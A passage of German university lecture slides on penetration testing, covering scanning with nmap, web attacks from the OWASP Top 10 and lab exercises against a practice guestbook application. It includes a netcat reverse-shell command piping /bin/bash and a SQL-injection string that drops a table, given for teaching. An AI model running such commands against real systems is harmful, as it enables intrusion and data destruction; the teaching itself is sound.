• Windows XP Wird erst später benötigt • erstmal Snapshots machen!

Page 50: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

50 März 2015 Penetration Testing

Virtualbox einrichten

• Zuweisen einer neuen MAC-Adresse für beide Maschinen

• Einstellen des Netzwerks: Netzwerkbrücke auf WLAN-Interface

• Test: Anpingen der Maschinen

Page 51: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

51 März 2015 Penetration Testing

Hacking-Methodologie

(aus „Hacking Exposed“, McGrawHill 2010)

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 52: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

52 März 2015 Penetration Testing

Footprinting Ermittlung von • IP-Adressen • Domain-Namen • E-Mail-Adressen

Werkzeuge: Whois-Datenbank, Suchmaschinen, DNS-Zonentranfer, … In der Praxis häufig lediglich Abgleich der vom Kunden übermittelten Informationen mit anderen Quellen

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 53: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

53 März 2015 Penetration Testing

Scanning

• Aktive Systeme finden (Host Discovery)

• Aktive Dienste finden (TCP – und UDP-Portscan)

• Dienste identifizieren

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 54: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

54 März 2015 Penetration Testing

Host Discovery Ping Sweep • ICMP Echo Requests • sehr schnell • Problem: System antwortet nicht auf

Ping (Firewall)

Alternative: Portscan • zuverlässig • dauert länger • Mittelweg: nur wenige Ports scannen

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 55: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

55 März 2015 Penetration Testing

Portscan

Systematisches Verbinden mit (allen) Ports 1. Manueller Portscan > telnet IP-Adresse 80

2. Mit Programm (Portscanner): z.B. Nmap, Unicornscan

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 56: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

56 März 2015 Penetration Testing

Well-Known-Ports

• Es gibt standardisierte TCP-Portnummern, auf denen in der Regel jeweils ein bestimmter Dienst läuft:

21: FTP

22: SSH

53: DNS

80: HTTP

443: HTTPS

445: SMB

3306: MySQL

3389: Remote Desktop

usw…

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 57: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

57 März 2015 Penetration Testing

Exkurs: Netcat

Verbindung aufbauen:

> nc –v IP Port#

Übung: Scannen Sie ein System im lokalen Netz mit Netcat auf offene Ports (Ports 21, 22, 80, 443)

Listener aufmachen:

> nc –lvp Port#

Remote-Shell:

1. Listener aufmachen

2. > nc –ve /bin/bash IP Port#

Übung: Bauen Sie mit Ihrem Nebensitzer eine Remote Shell

Page 58: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

58 März 2015 Penetration Testing

Exkurs: Wireshark

Netzwerk-Sniffer • Aufzeichnung von Netzwerk-Verkehr • automatische Analyse hunderter Protokolle • Kann keine Verschlüsselung knacken • Capture- und Display-Filter

– tcp.port == 443 – http – ip.addr == 192.168.1.1

Übung: Rufen Sie eine Webseite über HTTP und HTTPS auf und betrachten Sie den Verkehr in Wireshark

Page 59: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

59 März 2015 Penetration Testing

Der Portscanner Nmap > nmap hosts

Standard-Verhalten: 1. Ping-Sweep 2. Syn-Scan aller als aktiv erkannten Hosts

auf 1.000 Ports Connect-Scan: > nmap -sT hosts

Portscan ohne Ping: > nmap -PN hosts

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 60: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

60 März 2015 Penetration Testing

Enumeration

Ermittlung weiterer Informationen:

• Versionsstand von Software

• Installierte Patches

• Betriebssystem

• Benutzerkonten

• Laufende Dienste

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 61: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

61 März 2015 Penetration Testing

Weitere Nmap-Funktionen Versions-Scan: > Nmap –sV hosts

Betriebssystem-Erkennung > Nmap –O hosts

Script-Scan > Nmap –sC hosts

Übung: Scannen Sie zwei Systeme im lokalen Netz. Versuchen Sie mit Hilfe von Nmap, so viele Informationen wie möglich zusammenzutragen.

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 62: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

62 März 2015 Penetration Testing

Interessante Informationsquellen

• Service-Banner

• SNMP (Default Community Strings)

• SMTP (Benutzer-Enumeration)

• DNS (Hostnamen)

• Windows-Null-Sessions (Benutzernamen, System-Konfiguration)

• LDAP (Benutzernamen)

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 63: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

63 März 2015 Penetration Testing

Security-Scanner

Automatische Prüfung von Systemen oder Applikationen auf bekannte Schwachstellen

z.B. Nessus, Saint, OpenVAS, Nexpose

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 64: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

64 März 2015 Penetration Testing

Beispiel: Nessus-Scan

Page 65: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

65 März 2015 Penetration Testing

Zugriff erlangen

Ausnutzung vom Schwachstellen, z.B.: • Veraltete Software • Default-Passwörter / schlechte

Passwörter • Fehlerhafte Berechtigungen • überflüssige Dienste • ungeschützte

Administrationsoberflächen • Klartext-Protokolle • Applikations-Schwachstellen

Footprinting

Scannen

Enumeration

Zugriff erlangen

Privilege Escalation

Plündern

Spuren beseitigen

Hintertür einbauen

Denial of Service

Page 66: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

66 März 2015 Penetration Testing

Firewall

Web Application Hacking

Datenbank

Webserver

Authentication Service

Application Server

Webservice

Page 67: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

67 März 2015 Penetration Testing

Firewall

Web Application Hacking

Datenbank

Webserver

Authentication Service

Application Server

Webservice

XSS

SQL Injection

XML Injection

Passwort-Angriffe

Sniffing

Click-jacking

Buffer Overflow

Unsicherer Objektzugriff

Directory Traversal

XSRF

Open Redirection

Page 68: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

68 März 2015 Penetration Testing

HTTP

• Zustandsloses Protokoll

• Klartext-Übermittlung, auch von Zugangsdaten (z.B. Basic Authentication)

• Client schickt Anfrage (Request)

• Server schickt Antwort (Response)

• Request-Methoden (GET, POST, HEAD, PUT, DELETE, LINK,

OPTIONS, PROFIND, …)

• Statuscodes

Page 69: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

69 März 2015 Penetration Testing

HTTP GET

• Alle Parameter werden als Teil der URL übermittelt

GET /login.php?name=peter&pass=123 HTTP/1.1

Host: www.example.com

User-Agent: Mozilla/4.0

Page 70: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

70 März 2015 Penetration Testing

HTTP POST

• Alle Parameter werden als Teil des Bodys übermittelt

POST /login.php HTTP/1.1

Host: www.example.com

User-Agent: Mozilla/4.0

Content-Length: 19

name=peter&pass=123 Request Body

Request Header

Page 71: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

71 März 2015 Penetration Testing

HTTP Status Codes Code Bedeutung

200 OK Standard-Antwort

301 Moved Permanently Umleitung

302 Found Temporäre Umleitung

401 Unauthorized fehlende Zugangsdaten

403 Forbidden keine Berechtigung

404 Not found Datei/Verzeichnis nicht vorhanden

500 Internal Server Error Schwerwiegender Fehler / Indikator für Verwundbarkeit?

Page 72: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

72 März 2015 Penetration Testing

HTTP Proxy • HTTP ist zustandslos --> Timing i.d.R. unkritisch • Analyse von HTTP-Verkehr mit Proxy • Typische Features

– Anfragen anzeigen / manipulieren – Antworten anzeigen / manipulieren – HTTPS aufbrechen

• Programme: Burp-Suite, ZAP, W3AF, TamperData • Burp:

– Proxy – Intruder – Decoder – Sequencer – …

Übung: Machen Sie sich mit dem Angriffsproxy Burp Suite vertraut

Page 73: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

73 März 2015 Penetration Testing

Informationen sammeln • die eingesetzte Serversoftware • die Funktionen der Webapplikation • die Sitzungsverwaltung • eingesetzte Technologien (XML, AJAX, JSON, HTML5,

etc.) • welche GET- und POST-Parameter verwendet werden • welche GET- und POST-Parameter für eine Transaktion

notwendig sind • wo Weiterleitungen zum Einsatz kommen • Datei- / Verzeichnisnamen (DirBuster) • robots.txt

Page 74: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

74 März 2015 Penetration Testing

Robots.txt

• Welche Dateien oder Verzeichnisse sind durch WebCrawler zu ignorieren?

Beispiel 1:

# Zugriff auf alle Dateien erlauben

User-agent: *

Disallow:

Page 75: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

75 März 2015 Penetration Testing

Robots.txt – Beispiel 2: # robots.txt for http:www.focus.de .

# Gibt an, welche Unterverzeichnisse nicht durch Crawler durchsucht werden sollen

User-agent: Mediapartners-Google

Disallow:

User-agent: Googlebot-Mobile

Disallow: /

User-agent: *

Disallow: /ERRORS/ # Fehler-Seiten

Disallow: /test/ # Test-Seiten

Disallow: /test1/ # Test-Seiten

...

Disallow: /GLOBPICS/ # allg. Grafiken

Disallow: /intern/service/suche/ # Sucheergebnisse raus

Disallow: /service/suche/ # Sucheergebnisse raus

Disallow: /service/archiv/ # Sucheergebnisse raus

Disallow: /suche/ # Sucheergebnisse raus

Disallow: /panorama/welt/playboy_aid_119773.html

Page 76: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

76 März 2015 Penetration Testing

Robots.txt – Beispiel 3:

User-agent: *

Disallow: /test.php

Disallow: /phpMyAdmin-2.11.3-german

Disallow: /admin

Wo liegt hier das Problem?

Page 77: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

77 März 2015 Penetration Testing

Formaler Ansatz: OWASP

Open Web Application Security Project • OWASP Top 10 (alle 3 Jahre, aktuell 2013)

– Katalog der Top 10 Web-Schwachstellen (gemessen an Verbreitung und Auswirkung)

• OWASP Testing Guide (aktuell v4) – Leitfaden, wie Web-Schwachstellen zu testen sind – geht weit über Top10 hinaus

• Application Security Verification Standard – Leitfaden, was im Einzelnen zu prüfen ist

• Konferenzen • …

Page 78: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

78 März 2015 Penetration Testing

OWASP Top10

Page 79: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

79 März 2015 Penetration Testing

OWASP A1-Injection

• Nicht vertrauenswürdige Daten werden an einen Interpreter übergeben

• SQL, OS-Commands, LDAP, XPath

• Zugriff auf Daten ohne Autorisierung

Page 80: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

80 März 2015 Penetration Testing

SQL-Injection

• SQL: Structured Query-Language

• Abfragesprache für Datenbanken

• SQL-Injection: Einfügen von eigenem SQL-Code in Datenbankabfrage

Beispiel: www.example.com/suche?q=Berlin

SELECT * FROM User WHERE Ort = ‘Berlin’ ORDER BY id

www.example.com/suche?q=Berlin’;drop table User#

SELECT * FROM User WHERE Ort = ‘Berlin’;drop table user#’

ORDER BY id

Page 81: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

81 März 2015 Penetration Testing

BEUST: Arten von SQL-Injection

• Unterscheidung je nach „Payload“, die übergeben werden kann:

– Boolean-based blind

– Error-based

– Union-based

– Stacked Queries (blind)

– Time-based blind

• Übung: SQL-Injection

Page 82: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

82 März 2015 Penetration Testing

SQL-Injection: Automatische Ausnutzung

Sqlmap (www.sqlmap.org)

• einfacher Aufruf: sqlmap.py –u “http://www.example.com/show?id=1“

• weitere Funktionen:

– Herausfinden der Rechte des Datenbanknutzers – Benutzer enumerieren, PW-Hashes kopieren – Datenbankschema ermitteln – Datenbankdump durchführen – Dateien lesen und schreiben – Betriebssystemkommandos ausführen

Page 83: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

83 März 2015 Penetration Testing

OWASP A3 – Cross-Site Scripting (XSS)

• Ausgabe ungefilterter Benutzereingaben auf Webseite

• Modifizierung der Webseite durch zusätzliche HTML- oder JavaScript-Tags

Gefahren:

• Veränderung des Aussehens der Seite (Defacement)

• Nachladen von Schadcode (Drive-by-Download)

• Stehlen von Sitzungsbezeichnern (Session-Hijacking)

• Kopieren vertraulicher Informationen (z.B. Passwörter)

Page 84: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

84 März 2015 Penetration Testing

Cross-Site Scripting

„Arten“ von Cross-Site Scripting:

• Reflected / Non-Persistent Cross-Site Scripting

• Persistent / Stored Cross-Site Scripting

• DOM-based Cross-Site Scripting

• Übungen: – Reflected Cross-Site Scripting 1-3

– DOM-based Cross-Site Scripting

Page 85: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

85 März 2015 Penetration Testing

OWASP A2 – Broken Authentication / Session Management

• Fehler in Anmeldung / Sitzungs-Management kompromittieren die ganze Anwendung

• Angriffe:

– Cookies kopieren

– Sitzungen übernehmen

– Passwörter ermitteln

Q: https://www.owasp.org/index.php/Top_10_2013-Top_10

Page 86: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

86 März 2015 Penetration Testing

Session Hijacking

Angriffe auf Sitzungsbezeichner:

• Brute Force: Hierbei werden sukzessive unterschiedliche IDs generiert und auf Gültigkeit getestet.

• Berechnung: Schlecht vergebene Session-IDs liegt ein einfacher Algorithmus für die Berechnung zu Grunde. Dies ermöglicht es einem Angreifer, die ID einer gültigen Session zu errechnen.

• Cross-Site Scripting: Die Session-IDs bereits authentifizierter Benutzer werden durch Ausnutzung einer Cross-Site Scripting-Schwachstelle gestohlen.

• Sniffen: Einem Angreifer in einer Man-in-the-Middle-Position gelingt es, den Sitzungsbezeichner aus dem Netzwerkverkehr zu extrahieren.

Page 87: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

87 März 2015 Penetration Testing

Sitzungsbezeichner I

Sollten

• hinreichend lang sein

• zufällig sein (Entropie)

• nicht durch Dritte berechnet werden können

Beispiel PHP: SessionID = MD5(Random1 + Timestamp + IP + Random2)

Page 88: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

88 März 2015 Penetration Testing

Sitzungsbezeichner II

Beispiel: Folgende 10 Sitzungsbezeichner wurden innerhalb weniger Sekunden generiert. 1. R4C7O9x6c4H0p2u6O42C

2. 34P7y9E6X4g0F2f6P5GB

3. 34P7y9E6X4g0F2f6P6GB

4. P4w7d9a604L0E2l6K75p

5. G4Y7s9z6R4x0x2B6P8DF

6. G4Y7s9z6R4x0x2B6P9DF

7. C4U7E9B6R4y0q2u7F0Sb

8. r4X779y6j4H0k2G7E1Qc

9. W4T749h6v4l032p7N2WK

10.G4F7f9u6E4P0j2F7O31E

Page 89: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

89 März 2015 Penetration Testing

Transport des Sitzungsbezeichners

In der URL:

• Kann an verschiedenen Stellen gespeichert und ausgelesen werden:

– Browser-History

– Proxy-Logdateien

– Server-Logdateien

– Google-Index

– etc…

Als Cookie

• Bevorzugter Weg

• Cookies sollten mit Schutzattributen (httpOnly, secure) ausgestattet sein

• Gültigkeit der Cookies korrekt setzen

Page 90: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

90 März 2015 Penetration Testing

Session-Fixation / Preauthentication Attack

• Ideal: Änderung der Session-ID beim Login- und Logout

• Pre-Authentication-Angriff: Kopieren des Sitzungsbezeichners vor dem Login-Vorgang

• Session-Fixation-Angriff: Setzen der ID auf einen vom Angreifer kontrollierten Wert

Übung: Durchführung dieser Angriffe

Page 91: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

91 März 2015 Penetration Testing

OWASP A4 – Insecure Direct Object Reference

Direkter Zugriff auf Objekte, z.B. über ID

Beispiel:

• User hat Zugriff auf Objekt Nummer 100

• www.example.com/show.aspx?id=100

• kann aber durch URL-Manipulation auch auf Objekte 101, 102, … zugreifen

• www.example.com/show.aspx?id=101

Page 92: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

92 März 2015 Penetration Testing

OWASP A5 – Security Misconfiguration

Fehlerhafte Konfigurationen können z.B. sein • Zugriff auf Administrations-Interfaces • aktiviertes Directory Listing • Schreibrechte im Webroot • Backup-Dateien • Test-Accounts auf Produktivsystemen • Beispielscripte auf Produktivsystemen • Ausgabe von Fehlermeldungen an den Benutzer

(Angreifer lieben Zusatzinformationen )

Page 93: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

93 März 2015 Penetration Testing

Beispiel: Backup-Dateien

Beispiel einer Verzeichnis-Ausgabe (ls-Befehl) aus einem Test im März 2013

drwxr-xr-x 6 skpweb skpweb 4096 Apr 25 2008 admin

-rw-r--r-- 1 skpweb skpweb 8841 Apr 25 2008 admin.php

drwxr-xr-x 7 skpweb skpweb 4096 Dec 15 2008 admintool

-rw-r--r-- 1 skpweb skpweb 3203 Apr 30 2010 anmeldung_js.php

-rw-r--r-- 1 skpweb skpweb 1887 Apr 25 2008 anmeldung.js.php

-rw-r--r-- 1 skpweb skpweb 36 Apr 25 2008 anmeldung.js.php.LCK

-rw-r--r-- 1 skpweb skpweb 5896 Apr 25 2008 anmeldung.php

-rwxr--r-- 1 skpweb skpweb 5535 Apr 25 2008 anmeldung.php.bak

-rw-r--r-- 1 skpweb skpweb 5698 Feb 10 2009 anmeldung_php.php

-rw-r--r-- 1 skpweb skpweb 8523 Apr 25 2008 anmeldung.php.php

...

Was fällt auf?

Page 94: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

94 März 2015 Penetration Testing

Burp Intruder

• Tool zum automatisierten Durchprobieren von Parametern, z.B. Passwort-Rate-Angriffe

1. Positionen definieren 2. Angriffstyp definieren

– Sniper: Eine Payload nacheinander in verschiedene Positionen – Battering Ram: Eine Payload gleichzeitig in versch. Positionen – Pitchfork: Je ein Parameter aus jedem Payload-Set – Cluster Bomb: Alle Kombinationen aus den Payload-Sets

3. Payloads definieren (Listen, Zahlen, Dateinamen, Brute-Force, usw…)

4. zurücklehnen und zugucken

Page 95: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

95 März 2015 Penetration Testing

Große Übung 1

Führen Sie einen Penetrationstest gegen die Gästebuch-Applikation durch • versuchen Sie, möglichst viele Schwachstellen aufzudecken (es gibt über

20 zu entdecken…)

• dokumentieren Sie Ihre Funde inklusive Einstufung (low, med, high)

• versuchen Sie, möglichst viele Benutzernamen und Passwörter in Erfahrung zu bringen

• versuchen Sie, Systemkommandos auf dem Webserver auszuführen

• Dateien anlegen / Benutzer hinzufügen ist erlaubt

• keine vorsätzlichen Denial-of-Service-Angriffe

• sperren Sie Ihre Kommilitonen nicht aus (keine Passwörter ändern etc.)

Page 96: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

96 März 2015 Penetration Testing

OWASP A6 - Sensitive Data Exposure

Preisgabe sensibler Daten

• fehlende / unzureichende Verschlüsselung

• Verwendung von Passwort-Hashes ohne Salt

• automatische Ver-/Entschlüsselung beim Datenbankzugriff

• Ausgabe von Passwörtern, Kreditkartennummern, etc. in Serverantwort

Page 97: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

97 März 2015 Penetration Testing

SSL-Verschlüsselung

Der Einsatz von SSL hat folgende Ziele:

• Authentizität (SSL-Zertifikate)

• Integrität („Prüfsumme“, MAC)

• Vertraulichkeit (Verschlüsselung)

Page 98: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

98 März 2015 Penetration Testing

SSL-Konfiguration

Mögliche Schwachstellen in der SSL-Konfiguration:

• Nicht vertrauenswürdiges SSL-Zertifikat

• Veraltetes SSL-Zertifikat

• Einsatz des falschen Zertifikats

• Unterstützung von SSLv2

• Unterstützung kurzer Schlüssellängen

• Unterstützung unsicherer Chiffren: RC4

• Kompression vor der Verschlüsselung

• Neuaushandlung der Verschlüsselungsparameter

• Veraltete SSL-Komponenten (z.B. Heartbleed)

Page 99: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

99 März 2015 Penetration Testing

Übung: SSL-Konfiguration

Werkzeuge zur Überprüfung: OpenSSL / Web-Browser

Verbindungsaufbau mit OpenSSL: > openssl s_client –connect IP-Adresse:Portnummer

Übung: Untersuchen Sie die SSL-Konfiguration eines Webservers

Page 100: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig

Daniel Schalberger, SySS GmbH

